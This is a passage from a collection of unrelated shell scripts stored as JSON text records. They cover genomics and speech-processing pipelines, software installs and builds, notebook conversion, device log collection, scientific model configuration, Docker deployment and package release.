file\"\nGTF_FILE=$PROJECT_GTF_DIR/$GENE_MODEL_PREFIX.gtf\n$SCRIPTS_DIR/addExonIdGtf.py -g $INPUT_GTF_FILE_PATH -o $GTF_FILE\nif [ $? -ne 0 ]\nthen\n echo \"Problem with addExonIdGtf.py -g $INPUT_GTF_FILE_PATH -o $GTF_FILE ... exiting\"\n exit 1\nfi\n\n\n################################################################################\n##\n## Compute chromosome names\n##\n################################################################################\n\nSORT_TEMP_DIR=$PROJECT_DATA_DIR/.temp\nif [ ! -d $SORT_TEMP_DIR ]\nthen\n mkdir $SORT_TEMP_DIR\nfi\n\ncut -f 1 $GTF_FILE | sed -e 's/^/#/' | sed -e 's/$/#/' | sort -u -T $SORT_TEMP_DIR > $PROJECT_GTF_DIR/$GENE_MODEL_PREFIX-chromosomes.txt\nif [ $? -ne 0 ]\nthen\n echo \"Problem with cut -f 1 $GTF_FILE | sort -u > $PROJECT_GTF_DIR/$GENE_MODEL_PREFIX-chromosomes.txt ... exiting.\"\n rm -r $SORT_TEMP_DIR\n exit 1\nfi\n\nrm -r $SORT_TEMP_DIR\n\n\n################################################################################\n##\n## Create file with mapping of junction ids to exons (junction ids are realized as the combination of two exons)\n##\n################################################################################\n\necho \"Creating junction - exon mapping file - this can take a while\"\nexport GZIPPED_JUNCTION_EXON_MAP_FILE=$PROJECT_MAP_DIR/${GENE_MODEL_PREFIX}_junction_exon.map.gz\n\nif [ ! -f $GZIPPED_JUNCTION_EXON_MAP_FILE ]\nthen\n JUNCTION_EXON_MAP_FILE=$PROJECT_MAP_DIR/${GENE_MODEL_PREFIX}_junction_exon.map\n if [ ! -f $JUNCTION_EXON_MAP_FILE ]\n then\n export EXON_PIPELINE_DIR=$SCRIPTS_DIR\n export GTF_FILE\n export JUNCTION_EXON_MAP_FILE\n $R_EXE --vanilla --slave < $SCRIPTS_DIR/R/create-junction-exon-map-file.R\n if [ $? -ne 0 ]\n then\n if [ -f $JUNCTION_EXON_MAP_FILE ]\n then\n rm $JUNCTION_EXON_MAP_FILE\n fi\n echo \"Problem with create-junction-exon-map-file.R ... exiting\"\n exit 1\n fi\n fi\n\n echo \"Compressing file junction - exon mapping file $JUNCTION_EXON_MAP_FILE\"\n gzip -f $JUNCTION_EXON_MAP_FILE\nfi\n\n\n################################################################################\n##\n## Create the files with the mappings of GTF exon ids to EQP exon ids, the file with the mappings\n## of EQP exon ids to gene ids, and the BED file with the genomic coordinates of the exons.\n##\n################################################################################\n\nEXON_EXON_MAP_FILE=$PROJECT_MAP_DIR/${GENE_MODEL_PREFIX}_exon_exon.map\nEXON_GENE_MAP_FILE=$PROJECT_MAP_DIR/${GENE_MODEL_PREFIX}_exon_gene.map\nEXON_BED_FILE=$PROJECT_BED_DIR/${GENE_MODEL_PREFIX}_genome_exons.bed\necho \"Creating exon - exon map file $EXON_EXON_MAP_FILE\"\n$SCRIPTS_DIR/createExonExonMapFile.py -g $EXON_GENE_MAP_FILE -b $EXON_BED_FILE $GTF_FILE $EXON_EXON_MAP_FILE\nif [ $? -ne 0 ]\nthen\n echo \"Problem with createExonExonMapFile.py -g $EXON_GENE_MAP_FILE -b $EXON_BED_FILE $GTF_FILE\"\n echo \" $EXON_EXON_MAP_FILE ... exiting\"\n exit 1\nfi\n\n\n################################################################################\n##\n## Create file with mapping of EQP exon ids to junctions\n##\n################################################################################\n\nGZIPPED_EXON_JUNCTION_MAP_FILE=$PROJECT_MAP_DIR/${GENE_MODEL_PREFIX}_exon_junction.map.gz\necho \"Creating exon - junction map file $EXON_JUNCTION_MAP_FILE\"\n## The option -w switches on warning messages\n$SCRIPTS_DIR/createExonJunctionMapFile.py -w -A -e $EXON_EXON_MAP_FILE -j $GZIPPED_JUNCTION_EXON_MAP_FILE -o $GZIPPED_EXON_JUNCTION_MAP_FILE\nif [ $? -ne 0 ]\nthen\n echo \"Problem with createExonJunctionMapFile.py -w -e $EXON_EXON_MAP_FILE -j $GZIPPED_JUNCTION_EXON_MAP_FILE -o $GZIPPED_EXON_JUNCTION_MAP_FILE\"\n echo \" ... exiting\"\n exit 1\nfi\n\necho \"EQP setup successfully completed.\"\nexit 0"} {"text": "#!/bin/bash\n\nset -e\n\nVERSION=release-1.8.0\n\nwget -O googletest-$VERSION.tar.gz https://github.com/google/googletest/archive/$VERSION.tar.gz\ntar xf googletest-$VERSION.tar.gz\ncd googletest-$VERSION\ncmake -DCMAKE_INSTALL_PREFIX:PATH=$THIRDPARTY_BUILD \\\n -DCMAKE_CXX_FLAGS:STRING=\"${CXXFLAGS} ${CPPFLAGS}\" \\\n -DCMAKE_C_FLAGS:STRING=\"${CFLAGS} ${CPPFLAGS}\" \\\n -DCMAKE_BUILD_TYPE=RelWithDebInfo .\nmake VERBOSE=1 install"} {"text": "#!/bin/bash\n# Copyright 2017 Johns Hopkins University (Author: <NAME>)\n# 2017 Johns Hopkins University (Author: <NAME>)\n# 2017-2018 <NAME>\n# 2018 <NAME>\n# Apache 2.0.\n#\n# See ../README.txt for more info on data required.\n# Results (mostly equal error-rates) are inline in comments below.\n\n. ./cmd.sh\n. ./path.sh\nset -e\nmfccdir=`pwd`/mfcc\nvaddir=`pwd`/mfcc\n\nnnet_dir=exp/0007_voxceleb_v2_1a/exp/xvector_nnet_1a # Pretrained model downloaded from Kaldi website\n\nstage=4\n\nlibri_enroll=dev_clean_enroll\nlibri_trials=dev_clean_trial\nlibrispeech_trials_file=data/$libri_trials/trials\nlibri_male=${librispeech_trials_file}_male\nlibri_female=${librispeech_trials_file}_female\n\n\nif [ $stage -le 0 ]; then\n python local/make_librispeech_eval2.py proto/ASV_VoicePrivacy_v0 /home/bsrivast/asr_data/LibriSpeech || exit 1;\n for name in $libri_enroll $libri_trials; do\n for f in `ls data/${name}`; do\n mv data/${name}/$f data/${name}/${f}.u\n sort -u data/${name}/${f}.u > data/${name}/$f\n rm data/${name}/${f}.u\n done\n utils/utt2spk_to_spk2utt.pl data/${name}/utt2spk > data/${name}/spk2utt\n done\nfi\n\n# Evaluating LibriSpeech trials using VoXceleb pretrained model \n# without adaptation\n\nnj=29\nif [ $stage -le 1 ]; then\n echo \"Evaluating LibriSpeech trials using pretrained VoXceleb model.\"\n\n echo \"Compute MFCC...\"\n for name in $libri_enroll $libri_trials; do\n steps/make_mfcc.sh --write-utt2num-frames true --mfcc-config conf/mfcc.conf --nj $nj --cmd \"$train_cmd\" \\\n data/${name} exp/make_mfcc $mfccdir\n \n utils/fix_data_dir.sh data/${name}\n \n sid/compute_vad_decision.sh --nj $nj --cmd \"$train_cmd\" \\\n data/${name} exp/make_vad $vaddir\n utils/fix_data_dir.sh data/${name}\n done\n\nfi\n\nif [ $stage -le 2 ]; then\n echo \"Extract xvectors...\"\n for name in $libri_enroll $libri_trials; do\n sid/nnet3/xvector/extract_xvectors.sh --cmd \"$train_cmd --mem 4G\" --nj $nj \\\n $nnet_dir data/${name} \\\n $nnet_dir/xvectors_${name}\n done\nfi\n\nif [ $stage -le 3 ]; then\n echo \"Scoring the trials...\"\n $train_cmd exp/scores/log/librispeech_trial_scoring.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:${nnet_dir}/xvectors_${libri_enroll}/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnet_dir/xvectors_train/plda - |\" \\\n \"ark:ivector-mean ark:data/${libri_enroll}/spk2utt scp:${nnet_dir}/xvectors_${libri_enroll}/xvector.scp ark:- | ivector-subtract-global-mean $nnet_dir/xvectors_train/mean.vec ark:- ark:- | transform-vec $nnet_dir/xvectors_train/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnet_dir/xvectors_train/mean.vec scp:$nnet_dir/xvectors_${libri_trials}/xvector.scp ark:- | transform-vec $nnet_dir/xvectors_train/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$librispeech_trials_file' | cut -d\\ --fields=1,2 |\" exp/scores_libri_trials || exit 1;\n\n utils/filter_scp.pl $libri_male exp/scores_libri_trials > exp/scores_libri_male\n utils/filter_scp.pl $libri_female exp/scores_libri_trials > exp/scores_libri_female\n pooled_eer=$(paste $librispeech_trials_file exp/scores_libri_trials | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n male_eer=$(paste $libri_male exp/scores_libri_male | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n female_eer=$(paste $libri_female exp/scores_libri_female | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n echo \"EER: Pooled ${pooled_eer}%, Male ${male_eer}%, Female ${female_eer}%\"\nfi\n\n# Evaluating LibriSpeech trials using VoXceleb pretrained model \n# WITH adaptation\n\nadapt_data=dev_other\nif [ $stage -le 4 ]; then\n # Prepare adaptation data\n echo \"stage 16: extracting MFCC for adaptation data...\"\n steps/make_mfcc.sh --write-utt2num-frames true --mfcc-config conf/mfcc.conf --nj $nj --cmd \"$train_cmd\" \\\n data/${adapt_data} exp/make_mfcc $mfccdir\n \n utils/fix_data_dir.sh data/${adapt_data}\n \n sid/compute_vad_decision.sh --nj $nj --cmd \"$train_cmd\" \\\n data/${adapt_data} exp/make_vad $vaddir\n utils/fix_data_dir.sh data/${adapt_data}\nfi\n\nif [ $stage -le 5 ]; then\n echo \"Extract xvectors for adaptation data...\"\n sid/nnet3/xvector/extract_xvectors.sh --cmd \"$train_cmd --mem 4G\" --nj $nj \\\n $nnet_dir data/${adapt_data} \\\n $nnet_dir/xvectors_${adapt_data}\nfi\n\n# DEV_OTHER ADAPTATION\nif [ $stage -le 6 ]; then\n # Here we adapt the out-of-domain VoxCeleb PLDA model to LibriSpeech dev_other. In the future, we will include a clustering\n # based approach for domain adaptation, which tends to work better.\n echo \"Adapting the VoxCeleb model to dev_other...\"\n $train_cmd $nnet_dir/xvectors_${adapt_data}/log/plda_adapt.log \\\n ivector-adapt-plda --within-covar-scale=0.75 --between-covar-scale=0.25 \\\n $nnet_dir/xvectors_train/plda \\\n \"ark:ivector-subtract-global-mean scp:${nnet_dir}/xvectors_${adapt_data}/xvector.scp ark:- | transform-vec ${nnet_dir}/xvectors_train/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n ${nnet_dir}/xvectors_${adapt_data}/plda_adapt || exit 1;\nfi\n\nif [ $stage -le 7 ]; then\n echo \"Scoring the trials with dev_other adapted VoxCeleb model...\"\n $train_cmd exp/scores/log/librispeech_${adapt_data}_adapt.log \\\n ivector-plda-scoring --normalize-length=true \\\n --num-utts=ark:${nnet_dir}/xvectors_${libri_enroll}/num_utts.ark \\\n \"ivector-copy-plda --smoothing=0.0 $nnet_dir/xvectors_${adapt_data}/plda_adapt - |\" \\\n \"ark:ivector-mean ark:data/${libri_enroll}/spk2utt scp:${nnet_dir}/xvectors_${libri_enroll}/xvector.scp ark:- | ivector-subtract-global-mean $nnet_dir/xvectors_train/mean.vec ark:- ark:- | transform-vec $nnet_dir/xvectors_train/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"ark:ivector-subtract-global-mean $nnet_dir/xvectors_train/mean.vec scp:$nnet_dir/xvectors_${libri_trials}/xvector.scp ark:- | transform-vec $nnet_dir/xvectors_train/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n \"cat '$librispeech_trials_file' | cut -d\\ --fields=1,2 |\" exp/scores/libri_${adapt_data}_adapt || exit 1;\n\n utils/filter_scp.pl $libri_male exp/scores/libri_${adapt_data}_adapt > exp/scores/libri_${adapt_data}_male\n utils/filter_scp.pl $libri_female exp/scores/libri_${adapt_data}_adapt > exp/scores/libri_${adapt_data}_female\n pooled_eer=$(paste $librispeech_trials_file exp/scores/libri_${adapt_data}_adapt | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n male_eer=$(paste $libri_male exp/scores/libri_${adapt_data}_male | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n female_eer=$(paste $libri_female exp/scores/libri_${adapt_data}_female | awk '{print $6, $3}' | compute-eer - 2>/dev/null)\n echo \"EER: Pooled ${pooled_eer}%, Male ${male_eer}%, Female ${female_eer}%\"\nfi"} {"text": "<gh_stars>1-10\napt update\n\napt install -y wget unzip\nwget http://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_91.0.4472.114-1_amd64.deb\nmv google-chrome-stable_91.0.4472.114-1_amd64.deb google-chrome-stable_current_amd64.deb\ndpkg -i google-chrome-stable_current_amd64.deb\n\napt --fix-broken install -y\ndpkg -i google-chrome-stable_current_amd64.deb\nwget https://chromedriver.storage.googleapis.com/91.0.4472.101/chromedriver_linux64.zip\nunzip chromedriver_linux64.zip\nmv chromedriver /usr/bin/"} {"text": "<filename>update.sh\n#!/bin/bash\n\nif [[ $1 == \"-all\" ]]; then # re-make all html files\n\n\tfind posts -type f -print0 | while read -d $'\\0' file; do\n\t\t# blog_post files: ipynb and NOT Lecture and NOT checkpoint \n\t\tif [[ $file == *\"ipynb\"* ]] && [[ $file != *\"Lecture\"* ]] && [[ $file != *\"checkpoint\"* ]]; then\n \t\t\t# convert to raw html\n \t\t\teval \"jupyter nbconvert --to html\" $file\n \t\t\t# make it pretty!\n \t\t\teval \"python html/prettify_post.py\" ${file/.ipynb/.html}\n \t\tfi \t\t\n \t\t# lecture files: ipynb and Lecture and NOT checkpoint \t\n \t\tif [[ $file == *\"ipynb\"* ]] && [[ $file == *\"Lecture\"* ]] && [[ $file != *\"checkpoint\"* ]]; then\n \t\t\t# convert to html\n \t\t\teval \"jupyter nbconvert --to slides --reveal-prefix=revealjs\" $file\n\t\tfi\n\tdone\n\nelse\n\n\t# get modified files\n\tunstaged_files=$(git diff --name-only 2>&1)\n\t# get new files\n\tuntracked_files=$(git ls-files --other --exclude-standard 2>&1)\n\n\tfor file in $unstaged_files $untracked_files; do \n\t\t# blog_post files: ipynb and NOT Lecture and NOT checkpoint \n\t\tif [[ $file == *\"ipynb\"* ]] && [[ $file != *\"Lecture\"* ]] && [[ $file != *\"checkpoint\"* ]]; then\n \t\t\t# convert to raw html\n \t\t\teval \"jupyter nbconvert --to html\" $file\n \t\t\t# make it pretty!\n \t\t\teval \"python html/prettify_post.py\" ${file/.ipynb/.html}\n \t\tfi \t\t\n \t\t# lecture files: ipynb and Lecture and NOT checkpoint \t\n \t\tif [[ $file == *\"ipynb\"* ]] && [[ $file == *\"Lecture\"* ]] && [[ $file != *\"checkpoint\"* ]]; then\n \t\t\t# convert to html\n \t\t\teval \"jupyter nbconvert --to slides --reveal-prefix=revealjs\" $file\n\t\tfi\n\tdone \nfi"} {"text": "#!/vendor/bin/sh\n# $1 = \"-d\" to supply directory name\n# $2 = directory name\n# $3 = \"-f\" force collection of log regardless of previous panic\n#\n# Redirect stderr to null or to the related out-file in order\n# not to spill errs on stdout when invoked as UMH or to collect\n# error conditions on failure to dump in the related out-file.\n\ndir=/data/vendor/log/wifi\n\n[ $# -gt 1 -a x\"$1\" == \"x-d\" ] && dir=$2\n[ $# -gt 2 ] && force=$3\n[ $# -gt 0 -a x\"$1\" == \"x-f\" ] && force=$1\n\nSAMLOG=/sys/kernel/debug/scsc/ring0/samlog\nMXDECO=/vendor/bin/mxdecoder\n\nbuild_type=\"`getprop ro.build.type`\"\nmax_logs=50\n\n# Error status from driver\nif [ -e /proc/driver/mxman_ctrl0/mx_status ]\nthen\n\tmx_status=\"`cat /proc/driver/mxman_ctrl0/mx_status`\"\nfi\n\nmkdir -p $dir\nsync\n\nif [ \"x${build_type}\" == \"xuser\" ]\nthen\n\tif [ \"x${mx_status}\" == \"xMXMAN_STATE_FAILED\" -a \"x${force}\" != \"x-f\" ]\n\tthen\n\t\t# Moredump already took the logs, don't overwrite\n\t\texit 0\n\tfi\n\n\t# Only one set of logs allowed\n\tfilename_mxdump=${dir}/mx.dump.last.log\n\tfilename_logcat=${dir}/logcat.last.log\n\tfilename_dmesg=${dir}/dmesg.last.log\n\trm -f $filename_mxdump >/dev/null 2>&1\n\trm -f $filename_logcat >/dev/null 2>&1\n\trm -f $filename_dmesg >/dev/null 2>&1\n\tsync\nelse\n\tDATE_TAG=\"`date +%Y_%m_%d__%H_%M_%S`\"\n\tfilename_mxdump=${dir}/mx.dump.${DATE_TAG}.log\n\tfilename_logcat=${dir}/logcat.${DATE_TAG}.log\n\tfilename_dmesg=${dir}/dmesg.${DATE_TAG}.log\n\n\t## Getting rid of old logs\n\tnlogs=\"`ls ${dir}/dmesg* 2>/dev/null | wc -l`\"\n\twhile [ $nlogs -ge $max_logs ]\n\tdo\n\t\toldest_mxdump=\"`ls ${dir}/mx.dump* | head -n 1`\"\n\t\toldest_logcat=\"`ls ${dir}/logcat* | head -n 1`\"\n\t\toldest_dmesg=\"`ls ${dir}/dmesg* | head -n 1`\"\n\t\trm -f $oldest_mxdump >/dev/null 2>&1\n\t\trm -f $oldest_logcat >/dev/null 2>&1\n\t\trm -f $oldest_dmesg >/dev/null 2>&1\n\t\tnlogs=\"`ls ${dir}/dmesg* 2>/dev/null | wc -l`\"\n\tdone\n\tsync\nfi\n\nif [ -f $SAMLOG ]\nthen\n\tcat /proc/driver/mxman_info/mx_release > $filename_mxdump 2>&1\n\tif [ ! -e $MXDECO ]\n\tthen\n\t\techo \"No mxdecoder found...dumping RAW logring.\" >> $filename_mxdump\n\t\tcat $SAMLOG >> $filename_mxdump 2>&1\n\telse\n\t\tcat $SAMLOG | $MXDECO >> $filename_mxdump 2>&1\n\tfi\nfi\n\n#Dump unconditionally other logs\n#/system/bin/logcat -t 500 > $filename_logcat 2>&1\ndmesg > $filename_dmesg 2>&1\n#wlbt_ldos.sh >> $filename_dmesg 2>&1\n\n# UT collector seems to ignore our dmesg, presumably because\n# dmesg has been deemed to have been collected elsewhere.\n# However, we grab dmesg at the point of wlbt failure, so need\n# to keep it. So we append it to the mxdump in User builds.\n#\nif [ \"x${build_type}\" == \"xuser\" ]\nthen\n\techo \"----- dmesg at failure -----\" >> $filename_mxdump\n\tcat $filename_dmesg >> $filename_mxdump 2>&1\nfi\n\nsync\n\nexit 0"} {"text": "<reponame>hokieengr/WQ7Tpanadapter\n#!/bin/sh\n# launcher.sh\n# navigate to home directory, then to this directory, then execute python sript, then back home\n\ncd /\ncd home/pi/FreqShow_Large\nsudo python freqshow.py\ncd /"} {"text": "# Install swiftlint if necessary\nif ! which swiftlint >/dev/null; then\n brew install swiftlint\nfi\n\n# Run Swiftlint\necho \"Swiftlint output\"\ncd project_folder\nswiftlint"} {"text": "<filename>applications/COL380/uploads/UploadDB.TarFile.9ee2d7861f57f56f.4465736b746f702e7461722e/run2.sh\ncd /home/cse/dual/cs5120284/UploadDB.TarFile.9ee2d7861f57f56f.4465736b746f702e7461722e/\nbash run.sh input2.txt output2.txt"} {"text": "#!/usr/bin/env bash\n\nkoopa_install_imagemagick() {\n koopa_install_app \\\n --link-in-bin='bin/magick' \\\n --name-fancy='ImageMagick' \\\n --name='imagemagick' \\\n \"$@\"\n}"} {"text": "#!/bin/bash\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ngo get github.com/mjibson/esc\npushd $DIR/../artifacts/builtinroles\n ansible-galaxy install geerlingguy.composer\n ansible-galaxy install geerlingguy.php\n ansible-galaxy install geerlingguy.glusterfs\n ansible-galaxy install geerlingguy.firewall\n ansible-galaxy install geerlingguy.git\n ansible-galaxy install geerlingguy.java\n ansible-galaxy install geerlingguy.mysql\n ansible-galaxy install geerlingguy.redis\n ansible-galaxy install geerlingguy.php-redis\n ansible-galaxy install geerlingguy.php-mysql\n ansible-galaxy install nginxinc.nginx\n ansible-galaxy install geerlingguy.docker\n ansible-galaxy install geerlingguy.kubernetes\n ansible-galaxy install geerlingguy.java\n ansible-galaxy install wikivoks.jmeter\n ansible-galaxy install idealista.tomcat-role\n ansible-galaxy install gantsign.maven\n ansible-galaxy install bjoernalbers.wildfly\npopd\n\npushd $DIR/../artifacts/builtinroles\n go generate\npopd\n\npushd $DIR/../artifacts/builtinmanifests\n go generate\npopd\n\npushd $DIR/../artifacts/qgraph\n go generate\npopd"} {"text": "#!/bin/sh\nset -e\n\nif [ -e /project/.netrc ]\nthen\n cp /project/.netrc $HOME/.netrc\nfi\n/bin/sh"} {"text": "#!/bin/bash\n\n# root_dir=$1\n# link_target_dir=$2\nroot_dir=\"$HOME/go/src/github.com/myokoyama0712/go-competitive/past_contests/AGC\"\nlink_target_dir=\"$HOME/go/src/github.com/myokoyama0712/go-competitive/remark_link/AGC\"\n\n# 末尾のスラッシュ除去\n# root_dir=$(echo $1 | tr -d '/')\n# link_target_dir=$(echo $2 | tr -d '/')\n\n# 最低限の引数チェック\nif [[ !( -d $root_dir && -d $link_target_dir ) ]]; then\n echo 'arguments error!'\n exit 1\nfi\n\nfiles_array=$(find $root_dir -type f)\nfor file in $files_array; do\n path=$file\n declare -a a_dirs=()\n a_dirs=$(echo $path | tr '/' ' ') # /をスペースに置換\n\n for dir in ${a_dirs[0]}\n do\n if [ $dir = \"README.md\" ]; then\n # echo \"SLINK FILE PATH: ${link_target_dir}/${before_dir}-${dir}\"\n # echo \"ORIGIN FULL PATH: $file\"\n ln -fnsv \"$file\" \"${link_target_dir}/${before_dir}-${dir}\"\n fi\n\n before_dir=$dir\n done\ndone\n\nexit 0"} {"text": "#\n#-----------------------------------------------------------------------\n#\n# This file defines a function that, for an ensemble-enabled experiment \n# (i.e. for an experiment for which the workflow configuration variable \n# DO_ENSEMBLE has been set to \"TRUE\"), adds to a base FV3 namelist file\n# a set of stochastic \"seed\" parameters that is unique to each ensemble\n# member to generate a new namelist file for each member. The namelist\n# files of any two ensemble members differ only in their stochastic \"seed\" \n# parameter values. Each such member-specific namelist file is placed at \n# the top level of the experiment directory. (Then, during the RUN_FCST_TN \n# step of the workflow, links are created from the run directories to these \n# member-specific namelist files.)\n#\n#-----------------------------------------------------------------------\n#\nfunction set_FV3nml_stoch_params() {\n#\n#-----------------------------------------------------------------------\n#\n# Save current shell options (in a global array). Then set new options\n# for this script/function.\n#\n#-----------------------------------------------------------------------\n#\n { save_shell_opts; set -u -x; } > /dev/null 2>&1\n#\n#-----------------------------------------------------------------------\n#\n# Get the full path to the file in which this script/function is located\n# (scrfunc_fp), the name of that file (scrfunc_fn), and the directory in\n# which the file is located (scrfunc_dir).\n#\n#-----------------------------------------------------------------------\n#\n local scrfunc_fp=$( readlink -f \"${BASH_SOURCE[0]}\" )\n local scrfunc_fn=$( basename \"${scrfunc_fp}\" )\n local scrfunc_dir=$( dirname \"${scrfunc_fp}\" )\n#\n#-----------------------------------------------------------------------\n#\n# Get the name of this function.\n#\n#-----------------------------------------------------------------------\n#\n local func_name=\"${FUNCNAME[0]}\"\n#\n#-----------------------------------------------------------------------\n#\n# Specify the set of valid argument names for this script/function. Then\n# process the arguments provided to this script/function (which should\n# consist of a set of name-value pairs of the form arg1=\"value1\", etc).\n#\n#-----------------------------------------------------------------------\n#\n local valid_args=()\n process_args valid_args \"$@\"\n#\n#-----------------------------------------------------------------------\n#\n# For debugging purposes, print out values of arguments passed to this\n# script. Note that these will be printed out only if VERBOSE is set to\n# TRUE.\n#\n#-----------------------------------------------------------------------\n#\n print_input_args valid_args\n#\n#-----------------------------------------------------------------------\n#\n# Declare local variables.\n#\n#-----------------------------------------------------------------------\n#\n local cdate \\\n i \\\n ip1 \\\n fv3_nml_ens_fp \\\n iseed_shum \\\n iseed_skeb \\\n iseed_sppt \\\n iseed_spp \\\n settings\n#\n#-----------------------------------------------------------------------\n#\n# At this point, there should exist a namelist file with full path as \n# specified in the workflow variable FV3_NML_FP. This is the namelist \n# file for a non-ensmble-enabled experiment. This file will be used below \n# as the base namelist file to which we will add the stochastic \"seed\" \n# parameters to obtain the final namelist file for each ensemble member.\n# To clarify that this namelist file is not the final namelist file that\n# FV3 will read in, we now rename it to the name specified in FV3_NML_BASE_ENS_FP.\n#\n#-----------------------------------------------------------------------\n#\nmv_vrfy \"${FV3_NML_FP}\" \"${FV3_NML_BASE_ENS_FP}\"\n#\n#-----------------------------------------------------------------------\n#\n# Select a cdate (date and hour, in the 10-digit format YYYYMMDDHH) to\n# use in the formula for generating the stochastic seed values below. \n# Here, we form cdate the starting date and time of the first forecast.\n#\n#-----------------------------------------------------------------------\n#\ncdate=\"${DATE_FIRST_CYCL}${CYCL_HRS[0]}\"\n#\n#-----------------------------------------------------------------------\n#\n# Now loop through the ensemble members and generate a namelist file for\n# each one.\n#\n#-----------------------------------------------------------------------\n#\nfor (( i=0; i<${NUM_ENS_MEMBERS}; i++ )); do\n\n fv3_nml_ensmem_fp=\"${FV3_NML_ENSMEM_FPS[$i]}\"\n\n ip1=$(( i+1 ))\n iseed_shum=$(( cdate*1000 + ip1*10 + 2 ))\n iseed_skeb=$(( cdate*1000 + ip1*10 + 3 ))\n iseed_sppt=$(( cdate*1000 + ip1*10 + 1 ))\n iseed_spp=$(( cdate*1000 + ip1*10 + 4 ))\n\n settings=\"\\\n'nam_stochy': {\n 'iseed_shum': ${iseed_shum},\n 'iseed_skeb': ${iseed_skeb},\n 'iseed_sppt': ${iseed_sppt},\n }\n'nam_spperts': {\n 'iseed_spp': ${iseed_spp},\n }\"\n\n $USHDIR/set_namelist.py -q \\\n -n ${FV3_NML_BASE_ENS_FP} \\\n -u \"$settings\" \\\n -o ${fv3_nml_ensmem_fp} || \\\n print_err_msg_exit \"\\\nCall to python script set_namelist.py to set the variables in the FV3\nnamelist file that specify the paths to the surface climatology files\nfailed. Parameters passed to this script are:\n Full path to base namelist file:\n FV3_NML_BASE_ENS_FP = \\\"${FV3_NML_BASE_ENS_FP}\\\"\n Full path to output namelist file:\n fv3_nml_ensmem_fp = \\\"${fv3_nml_ensmem_fp}\\\"\n Namelist settings specified on command line (these have highest precedence):\n settings =\n$settings\"\n\ndone\n#\n#-----------------------------------------------------------------------\n#\n# Restore the shell options saved at the beginning of this script/function.\n#\n#-----------------------------------------------------------------------\n#\n { restore_shell_opts; } > /dev/null 2>&1\n\n}"} {"text": "#!/bin/sh\n\n# shortcuts\ndefaults write com.apple.iWork.Numbers NSUserKeyEquivalents -dict-add \"Align Center\" -string '@$\\'\ndefaults write com.apple.iWork.Numbers NSUserKeyEquivalents -dict-add \"Align Left\" -string '@$['\ndefaults write com.apple.iWork.Numbers NSUserKeyEquivalents -dict-add \"Align Right\" -string '@$]'"} {"text": "<gh_stars>0\n#!/bin/bash\n\nDIR0=$(dirname $0)\necho \"DIR0=$DIR0\"\n\nEXTERNAL_HOST=$(ifconfig | grep -E \"([0-9]{1,3}\\.){3}[0-9]{1,3}\" | grep -v 127.0.0.1 | awk '{ print $2 }' | cut -f2 -d: | head -n1)\n\n$(which python3.9) $DIR0/scripts/set_external_hosts.py $(pwd) $EXTERNAL_HOST\n\n#docker-compose up -d\ndocker stack deploy -c docker-compose-stack.yml cloudns-refresher"} {"text": "#!/bin/bash\n# create multiresolution windows icon\nICON_DST=../../src/qt/res/icons/raven.ico\n\nconvert ../../src/qt/res/icons/raven-16.png ../../src/qt/res/icons/raven-32.png ../../src/qt/res/icons/raven-48.png ${ICON_DST}"} {"text": "#!/bin/bash\nneko-gcc -std=gnu++11 -fno-exceptions main.cpp -lpng -o ../../sysroot/bin/imgview"} {"text": "<filename>infra/scripts/test_arm_nnpkg.sh\n#!/bin/bash\n\nset -eo pipefail\nsource \"$(dirname \"${BASH_SOURCE[0]}\")/common.sh\"\n\nBACKENDS=(\"acl_cl\" \"acl_neon\" \"cpu\")\n\nfor BACKEND in \"${BACKENDS[@]}\";\ndo\n NNPackageTest ${BACKEND} \"tools/nnpackage_tool/nnpkg_test/list.armv7l-linux.${BACKEND}\"\ndone\n\n# Interpreter test\nexport DISABLE_COMPILE=1\nNNPackageTest \"interp\" \"tools/nnpackage_tool/nnpkg_test/list.noarch.interp\"\nunset DISABLE_COMPILE"} {"text": "<gh_stars>0\n#!/bin/bash\nset -e\nset -x\n\nversion=$(python setup.py --version)\n\nrm -rf build dist/*\n\npython setup.py bdist_wheel\ntwine upload dist/iotawallet-${version}-py3-none-any.whl\n\ngit tag -f ${version}\ngit push\ngit push --tags"} {"text": "#!/bin/bash\n# purpose: \tconvert DICOMs to *.nii.gz files\n#\t\tgenerate json, bval, bvec files too\n# creator:\t<NAME>, December 2020\n# assumptions:\n#\tthe b-value is in the second last position '_'-delimited\n# \tthe word blip is checked for in the filename before proceeding\n# additions:\n# \tprogress update on which participant is being processed?\n\necho \"Where to put the outputs?\"\nread -p 'Path: ' outfolder\n\n[ -d $outfolder ] || mkdir $outfolder\n\nfor d in */*dMRI*/ ; do\n\tPID=$(echo $d | cut -d \"_\" -f 1)\t\t\t\t# grab PID\n\tif [[ ${d,,} =~ .*\"blip\".* ]]; then\t\t\t\t# grab b-value or blip\n\t\toutname=\"blip\"\n\telse\n\t\toutname=$(echo \"${d::-1}\" | awk -F'_' '{print $(NF-1)}')\n\tfi\n\t\t\t\t\t\t\t\t# check if nifti already exists\n\tif [ ! -f $outfolder/\"$PID\"_\"$outname.nii.gz\" ]; then \t# if not, then\n\t\techo \"Working on $PID, niftifying $outname.\"\n\t\tdcm2niix -b y \\\n\t\t\t -f \"$PID\"_\"$outname\" \\\n\t\t\t -o $outfolder \\\n\t\t\t -z y \\\n\t\t\t $d\n\tfi\t\t\t\t\t\t\t# if *.nii.gz already exists, skip\ndone"} {"text": "#!/bin/bash\nLOGS=/var/log/apache2/webapps*/*/*ssl-access.log\necho \"Q&D access log analysis\"\necho\necho \"500s:\"\necho\ngrep \" 500 \" $LOGS | grep -v -i bot | grep -v imageserver | perl -pe 's/^.*?://;s/\\\" \\\".*/\"/' |\\\n sort -t ' ' -k 4.9,4.12n -k 4.5,4.7M -k 